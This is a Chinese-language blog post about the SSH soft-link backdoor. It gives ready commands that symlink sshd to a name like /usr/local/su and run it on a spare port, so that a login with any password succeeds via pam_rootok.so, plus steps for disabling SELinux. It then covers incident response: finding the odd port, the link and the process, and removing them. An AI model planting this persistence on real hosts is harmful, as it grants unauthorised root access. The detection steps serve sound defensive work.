SSH软链接后门
漏洞原理
主要是pam_rootok.so模块造成的漏洞
pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。
1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。
2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。
1 | 通俗点来说, |
查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。
环境搭建
一、修改/etc/selinux/config文件中的SELINUX=”” 为 disabled 。
二、判断sshd_config配置中的UsePAM参数是否为yes
1 | cat /etc/ssh/sshd_config |
三、确认对应的pam配置文件是否包含auth sufficient pam_rootok.so配置,只在包含这件配置才可以通过ssh任意密码登录。
四、创建软连接!
code1:使用ln命令创建root账户 ssh软链接后门命令
1 | ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 |
命令解释:
1 | ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 |
code2:创建其它账户 ssh软连接后门命令
这里以centos用户举例
1、写一个 centos用户ssh登录用的PAM 配置
1 | echo " |
配置详细解释
1 | #%PAM-1.0:这是一个注释行,PAM 配置文件通常以此开始,指示文件的版本。 |
2、开启软连接
1 | ln -sf /usr/sbin/sshd /tmp/centos;/tmp/centos -oPort=2222 |
漏洞利用
使用ssh远程连接即可
1 | ssh root@192.168.142.138 -p 12345 |
密码随便输
应急响应过程
1.查看开放的端口,是否存在异常端口
1 | netstat -anpt |
例如:
- 大端口或者是非常见的端口号
- 上面运行的服务没见过的就比如上图的centos和su
- 有远程主机在远程连接本地非常见端口
2.查看PID所用的程序
命令:
1 | ll /proc/1832 |
3.确定软链接后门文件
查看所有的su文件,以及查找具体哪一个su是软链接后门
1 | find / -name su |
看到/usr/local/su
软连接到/usr/sbin/sshd
4.最后删除软链接后门
1 | rm -rf /usr/local/su |
如果有远程主机已经使用软连接已经远程连接主机需要提出在线用户或者删除掉这个进程
删除进程:
1 | kill -9 2558 |
踢出在线用户:
1 | w |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sword技术分享!
评论